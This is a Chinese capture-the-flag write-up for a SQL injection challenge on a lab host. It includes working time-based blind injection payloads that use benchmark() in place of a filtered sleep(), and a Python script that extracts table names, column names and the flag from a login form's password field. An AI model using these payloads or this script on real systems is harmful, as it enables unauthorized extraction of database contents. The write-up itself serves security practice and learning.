2024/8/14
[Dest0g3 520迎新赛]Really Easy SQL
题目标题说明是SQL注入
题目首页
页面title显示是钓鱼站点。
钓鱼站点主要为将我们的输入信息保存在数据库。后台应该是插入语句。
这里无论输入什么都显示密码错误, 只能尝试盲注,基于时间的盲注,
这里经过测试payload如下,
然后写脚本内容如下
import requests
import time
from urllib.parse import urlencode
url="http://c3a1a543-3a1c-4f1c-9e6b-1fd5fcf8b280.node5.buuoj.cn:81/"
flag=''
for i in range(1,44):
for j in range(40,137):
#payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #flaggg,user
#payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #cmd
payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
data={
'username': 'a',
'password': payload
}
print(data)
try:
r = requests.post(url=url,data=data,timeout=0.2)
except:
flag += chr(j)
print(flag)
break
time.sleep(0.2)
time.sleep(1)
跑到flag。这道题目挺花时间的,主要在于sleep()函数被过滤了.如果在测试的过程中没有意识到这个问题,那么就会花费大量的时间。
成功解答